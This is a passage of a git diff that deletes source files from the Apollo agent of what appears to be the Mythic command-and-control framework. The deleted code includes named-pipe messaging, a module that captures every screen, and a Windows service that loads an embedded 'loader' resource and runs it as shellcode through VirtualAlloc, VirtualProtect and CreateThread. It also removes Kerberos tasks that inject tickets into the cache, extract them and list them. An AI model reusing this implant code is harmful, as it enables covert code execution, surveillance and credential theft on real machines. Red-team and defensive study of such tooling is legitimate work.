_cts.Token.WaitHandle.WaitOne((int)interval * 1000); - } catch (OperationCanceledException) - { - break; - } - } - while(_senderQueue.Count > 0) - { - Thread.Sleep(1000); - } - _cts.Cancel(); - } - - - } - - private static void ServerDisconnect(object sender, NamedPipeMessageArgs e) - { - _cts.Cancel(); - } - - private static bool AddToSenderQueue(IMythicMessage msg) - { - IPCChunkedData[] parts = _jsonSerializer.SerializeIPCMessage(msg, IPC.SEND_SIZE / 2); - foreach(IPCChunkedData part in parts) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_jsonSerializer.Serialize(part))); - } - _senderEvent.Set(); - return true; - } - - private static void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - pipe.EndWrite(result); - // Potentially delete this since theoretically the sender Task does everything - if (_senderQueue.TryDequeue(out byte[] data)) - { - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - } - - private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCChunkedData chunkedData = _jsonSerializer.Deserialize( - Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - } - - private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - _recieverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - - public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args) - { - // We only accept one connection at a time, sorry. - if (_clientConnectedTask != null) - { - args.Pipe.Close(); - return; - } - _clientConnectedTask = new ST.Task(_sendAction, args.Pipe); - _clientConnectedTask.Start(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Properties/AssemblyInfo.cs deleted file mode 100644 index ce159d05..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("ScreenshotInject")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ScreenshotInject")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("e05b7224-d965-422c-9b12-e6dee1bfac64")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Screenshot.cs b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Screenshot.cs deleted file mode 100644 index bc9d8125..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Screenshot.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Windows.Forms; - - -namespace ScreenshotInject -{ - public static class Screenshot - { - public static byte[][] GetScreenshots() - { - List bshots = new List(); - - foreach(Screen sc in Screen.AllScreens) - { - byte[] bSCreen = GetBytesFromScreen(sc); - bshots.Add(bSCreen); - } - return bshots.ToArray(); - } - - private static byte[] GetBytesFromScreen(Screen screen) - { - byte[] bScreen = null; - using (Bitmap bmpScreenCapture = new Bitmap(screen.Bounds.Width, - screen.Bounds.Height)) - { - using (Graphics g = Graphics.FromImage(bmpScreenCapture)) - { - g.CopyFromScreen(screen.Bounds.X, - screen.Bounds.Y, - 0, 0, - bmpScreenCapture.Size, - CopyPixelOperation.SourceCopy); - using (MemoryStream ms = new MemoryStream()) - { - bmpScreenCapture.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); - bScreen = ms.ToArray(); - } - } - } - - return bScreen; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/ScreenshotInject.csproj b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/ScreenshotInject.csproj deleted file mode 100644 index d99b3b1f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/ScreenshotInject.csproj +++ /dev/null @@ -1,24 +0,0 @@ - - - net451 - Exe - 12 - enable - false - true - true - AnyCPU;x64;x86 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/packages.config b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/packages.config deleted file mode 100644 index de7934ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln deleted file mode 100755 index 0fbec120..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1.sln +++ /dev/null @@ -1,28 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 17.8.34525.116 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsService1", "WindowsService1\WindowsService1.csproj", "{0405205C-C2A0-4F9A-A221-48B5C70DF3B6}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.ActiveCfg = Release|Any CPU - {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|Any CPU.Build.0 = Release|Any CPU - {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.ActiveCfg = Release|x64 - {0405205C-C2A0-4F9A-A221-48B5C70DF3B6}.Release|x64.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {C5331E46-D53B-4B47-942A-343CB750F8BB} - EndGlobalSection -EndGlobal diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Program.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Program.cs deleted file mode 100755 index 0b9c349e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Program.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.ServiceProcess; -using System.Text; - -namespace WindowsService1 -{ - static class Program - { - /// - /// The main entry point for the application. - /// - static void Main() - { - ServiceBase[] ServicesToRun; - ServicesToRun = new ServiceBase[] - { - new Service1() - }; - ServiceBase.Run(ServicesToRun); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/AssemblyInfo.cs deleted file mode 100755 index 5de442a6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("WindowsService1")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("WindowsService1")] -[assembly: AssemblyCopyright("Copyright © 2020")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("0405205c-c2a0-4f9a-a221-48b5c70df3b6")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.Designer.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.Designer.cs deleted file mode 100755 index 48159a95..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.Designer.cs +++ /dev/null @@ -1,73 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// Runtime Version:4.0.30319.42000 -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - -namespace WindowsService1.Properties { - using System; - - - /// - /// A strongly-typed resource class, for looking up localized strings, etc. - /// - // This class was auto-generated by the StronglyTypedResourceBuilder - // class via a tool like ResGen or Visual Studio. - // To add or remove a member, edit your .ResX file then rerun ResGen - // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - internal class Resources { - - private static global::System.Resources.ResourceManager resourceMan; - - private static global::System.Globalization.CultureInfo resourceCulture; - - [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] - internal Resources() { - } - - /// - /// Returns the cached ResourceManager instance used by this class. - /// - [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Resources.ResourceManager ResourceManager { - get { - if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("WindowsService1.Properties.Resources", typeof(Resources).Assembly); - resourceMan = temp; - } - return resourceMan; - } - } - - /// - /// Overrides the current thread's CurrentUICulture property for all - /// resource lookups using this strongly typed resource class. - /// - [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] - internal static global::System.Globalization.CultureInfo Culture { - get { - return resourceCulture; - } - set { - resourceCulture = value; - } - } - - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] loader { - get { - object obj = ResourceManager.GetObject("loader", resourceCulture); - return ((byte[])(obj)); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.resx b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.resx deleted file mode 100755 index 16b70760..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Properties/Resources.resx +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - ..\Resources\loader.bin;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Resources/loader.bin b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Resources/loader.bin deleted file mode 100644 index 0c451d08..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Resources/loader.bin +++ /dev/null @@ -1 +0,0 @@ -WRAPPED_PAYLOAD_HERE diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.Designer.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.Designer.cs deleted file mode 100755 index d9b08532..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.Designer.cs +++ /dev/null @@ -1,37 +0,0 @@ -namespace WindowsService1 -{ - partial class Service1 - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - components = new System.ComponentModel.Container(); - //this.ServiceName = "Service1"; - } - - #endregion - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.cs b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.cs deleted file mode 100755 index 90b5d271..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/Service1.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Diagnostics; -using System.Linq; -using System.ServiceProcess; -using System.Text; -using System.Runtime.InteropServices; -using System.IO; -using System.Runtime; -using System.Timers; -using static WindowsService1.Service1; -namespace WindowsService1 -{ - public partial class Service1 : ServiceBase - { - private static UInt32 MEM_COMMIT = 0x1000; - private static UInt32 PAGE_READWRITE = 0x40; - private static UInt32 PAGE_EXECUTE_READ = 0x20; - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); - [DllImport("kernel32")] - private static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); - [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] - private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParam, uint dwCreationFlags, ref uint lpThreadId); - [DllImport("kernel32")] - private static extern UInt32 WaitForSingleObject( - IntPtr hHandle, - UInt32 dwMilliseconds - ); - public enum ServiceState - { - SERVICE_STOPPED = 0x00000001, - SERVICE_START_PENDING = 0x00000002, - SERVICE_STOP_PENDING = 0x00000003, - SERVICE_RUNNING = 0x00000004, - SERVICE_CONTINUE_PENDING = 0x00000005, - SERVICE_PAUSE_PENDING = 0x00000006, - SERVICE_PAUSED = 0x00000007, - } - - [StructLayout(LayoutKind.Sequential)] - public struct ServiceStatus - { - public int dwServiceType; - public ServiceState dwCurrentState; - public int dwControlsAccepted; - public int dwWin32ExitCode; - public int dwServiceSpecificExitCode; - public int dwCheckPoint; - public int dwWaitHint; - }; - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool SetServiceStatus(System.IntPtr handle, ref ServiceStatus serviceStatus); - private EventLog _eventLog1; - public Service1() - { - //_eventLog1 = new EventLog(); - //if (!EventLog.SourceExists("ApolloLog")) - //{ - // EventLog.CreateEventSource("ApolloLog", "MyApolloLog"); - //} - //_eventLog1.Source = "ApolloLog"; - //_eventLog1.Log = "MyApolloLog"; - //_eventLog1.WriteEntry($"about to initialize"); - InitializeComponent(); - } - protected override void OnStart(string[] args) - { - //_eventLog1.WriteEntry($"OnStart"); - ServiceStatus serviceStatus = new ServiceStatus(); - serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING; - //serviceStatus.dwWaitHint = 100000; - SetServiceStatus(this.ServiceHandle, ref serviceStatus); - Timer timer = new Timer(); - timer.Interval = 1000; - timer.AutoReset = false; - timer.Elapsed += new ElapsedEventHandler(this.OnTimer); - timer.Start(); - } - protected override void OnStop() - { - - } - public void OnTimer(object sender, ElapsedEventArgs args) - { - ServiceStatus serviceStatus = new ServiceStatus(); - serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING; - SetServiceStatus(this.ServiceHandle, ref serviceStatus); - byte[] shellcode = GetResource("loader"); - if (shellcode.Length > 0) - { - //_eventLog1.WriteEntry($"shellcode length: {shellcode.Length}"); - IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MEM_COMMIT, PAGE_READWRITE); - if (funcAddr != IntPtr.Zero) - { - //_eventLog1.WriteEntry($"funcAddr: {funcAddr}"); - Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); - IntPtr hThread = IntPtr.Zero; - UInt32 threadId = 0; - IntPtr pinfo = IntPtr.Zero; - uint oldprotection; - bool success = VirtualProtect(funcAddr, shellcode.Length, PAGE_EXECUTE_READ, out oldprotection); - if (success) - { - hThread = CreateThread(IntPtr.Zero, UIntPtr.Zero, funcAddr, pinfo, 0, ref threadId); - //_eventLog1.WriteEntry($"created thread: {hThread}"); - WaitForSingleObject(hThread, 0xFFFFFFFF); - //_eventLog1.WriteEntry($"thread exited"); - } - else - { - //_eventLog1.WriteEntry($"failed to do virtual protect: {success}"); - } - } - else - { - //_eventLog1.WriteEntry($"failed to do virtual alloc: {funcAddr}"); - } - - } - - } - private static byte[] GetResource(string name) - { - string resourceFullName = null; - if ((resourceFullName = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames().FirstOrDefault(N => N.Contains(name))) != null) - { - - Stream reader = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName); - byte[] ba = new byte[reader.Length]; - reader.Read(ba, 0, ba.Length); - return ba; - } - return null; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/WindowsService1.csproj b/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/WindowsService1.csproj deleted file mode 100755 index a244e14f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Service/WindowsService1/WindowsService1.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - net451 - Exe - 12 - enable - false - AnyCPU;x64;x86 - False - False - - - - - - - - - - - - - True - True - Resources.resx - - - Component - - - Service1.cs - - - - - - - ResXFileCodeGenerator - Resources.Designer.cs - - - Always - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/SimpleResolver/Properties/AssemblyInfo.cs deleted file mode 100644 index e01463cd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("SimpleResolver")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("SimpleResolver")] -[assembly: AssemblyCopyright("Copyright © 2022")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("6CA1FF03-8102-41D5-9D57-CC2DA346D684")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/SimpleResolver.cs b/Payload_Type/apollo/apollo/agent_code/SimpleResolver/SimpleResolver.cs deleted file mode 100644 index e5be8a58..00000000 --- a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/SimpleResolver.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Runtime.InteropServices; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Utils; - -namespace SimpleResolver -{ - public class GetProcResolver : IWin32ApiResolver - { - private Dictionary _modulePointers = new Dictionary(); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.LPStr)] string lpFileName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.LPStr)] string lpProcName); - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr GetModuleHandleA([MarshalAs(UnmanagedType.LPStr)] string lpModuleName); - - public T GetLibraryFunction(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - IntPtr functionHandle = IntPtr.Zero; - if (!_modulePointers.ContainsKey(library)) - { - IntPtr libraryHandle = GetModuleHandleA(library.ToString()); - if (libraryHandle == IntPtr.Zero) - { - libraryHandle = LoadLibraryA(library.ToString()); - } - - if (libraryHandle == IntPtr.Zero) - { - DebugHelp.DebugWriteLine($"Failed to load library {library}"); - throw new Win32Exception($"Failed to load library {functionName}", - new Win32Exception(Marshal.GetLastWin32Error())); - } - //DebugHelp.DebugWriteLine($"Loaded library {library}"); - _modulePointers[library] = libraryHandle; - } - - functionHandle = GetProcAddress(_modulePointers[library], functionName); - - if (functionHandle != IntPtr.Zero) - { - //DebugHelp.DebugWriteLine($"Found function {functionName} in library {library}"); - //todo: check if this is giving valid values back ? - return Marshal.GetDelegateForFunctionPointer(functionHandle, typeof(T)) as T; - } - DebugHelp.DebugWriteLine($"Could not find function {functionName} in library {library}"); - throw new Exception("Could not find function " + functionName + " in library " + library.ToString(), - new Win32Exception(Marshal.GetLastWin32Error())); - } - - public T GetLibraryFunction(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate - { - throw new NotImplementedException(); - } - - public T GetLibraryFunction(Library library, string functionHash, long key, bool canLoadFromDisk = true, - bool resolveForwards = true) where T : Delegate - { - throw new NotImplementedException(); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/SimpleResolver.csproj b/Payload_Type/apollo/apollo/agent_code/SimpleResolver/SimpleResolver.csproj deleted file mode 100644 index e4ec60a2..00000000 --- a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/SimpleResolver.csproj +++ /dev/null @@ -1,16 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/packages.config b/Payload_Type/apollo/apollo/agent_code/SimpleResolver/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/SimpleResolver/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_add.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_add.cs deleted file mode 100644 index 752e3f2d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_add.cs +++ /dev/null @@ -1,65 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_CACHE_ADD -#endif - -#if TICKET_CACHE_ADD - -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks; - -public class ticket_cache_add : Tasking -{ - - [DataContract] - internal struct TicketCacheAddParameters - { - [DataMember(Name = "luid")] - internal string? luid; - [DataMember(Name = "base64ticket")] - internal string base64Ticket; - } - - public ticket_cache_add(IAgent agent, MythicTask data) : base(agent, data) - { } - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - try - { - TicketCacheAddParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string luid = parameters.luid ?? ""; - string base64Ticket = parameters.base64Ticket; - byte[] ticketBytes = Convert.FromBase64String(base64Ticket); - bool success; - string errorMsg; - (success, errorMsg) = _agent.GetTicketManager().LoadTicketIntoCache(ticketBytes, luid); - if (success) - { - resp = CreateTaskResponse($"Injected Ticket into Cache", true); - } - else - { - resp = CreateTaskResponse($"{errorMsg}", true, "error"); - } - } - catch (Exception e) - { - resp = CreateTaskResponse($"Failed to inject ticket into session: {e.Message}", true, "error"); - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_extract.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_extract.cs deleted file mode 100644 index cd4a3f41..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_extract.cs +++ /dev/null @@ -1,65 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_CACHE_EXTRACT -#endif - -#if TICKET_CACHE_EXTRACT - -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Features.KerberosTickets; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; - -namespace Tasks; - -public class ticket_cache_extract : Tasking -{ - [DataContract] - internal struct TicketExtractParameters - { - [DataMember(Name = "luid")] - internal string? luid; - [DataMember(Name = "service")] - internal string service; - } - - public ticket_cache_extract(IAgent agent, MythicTask data) : base(agent, data) - { } - - - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - TicketExtractParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string luid = parameters.luid ?? ""; - string service = parameters.service; - try - { - var (ticket, errorMsg) = _agent.GetTicketManager().ExtractTicketFromCache(luid, service); - if (ticket != null) - { - resp = CreateTaskResponse(_jsonSerializer.Serialize(new KerberosTicketStoreDTO(ticket)), true); - } else - { - resp = CreateTaskResponse(errorMsg, true, "error"); - } - - } - catch (Exception e) - { - resp = CreateTaskResponse($"Failed to enumerate tickets: {e.Message}", true, "error"); - } - //get and send back any artifacts - IEnumerable artifacts = _agent.GetTicketManager().GetArtifacts(); - var artifactResp = CreateArtifactTaskResponse(artifacts); - _agent.GetTaskManager().AddTaskResponseToQueue(artifactResp); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_list.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_list.cs deleted file mode 100644 index dfa64d2c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/Features/KerberosTickets/ticket_cache_list.cs +++ /dev/null @@ -1,74 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define TICKET_CACHE_LIST -#endif - -#if TICKET_CACHE_LIST - -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Features.KerberosTickets; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; - -namespace Tasks; - -public class ticket_cache_list : Tasking -{ - [DataContract] - internal struct TicketListParameters - { - [DataMember(Name = "getSystemTickets")] - internal bool? getSystemTickets; - [DataMember(Name = "luid")] - internal string? luid; - } - - public ticket_cache_list(IAgent agent, MythicTask data) : base(agent, data) - { } - - - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - TicketListParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string luid = parameters.luid ?? ""; - bool getSystemTickets = parameters.getSystemTickets ?? false; - try - { - string currentLuid = _agent.GetTicketManager().GetCurrentLuid(); - var tickets = _agent.GetTicketManager().EnumerateTicketsInCache(getSystemTickets, luid); - List ticketList = new List(); - for(int i = 0; i < tickets.Count; i++) - { - KerberosTicketInfoDTO currentTicket = 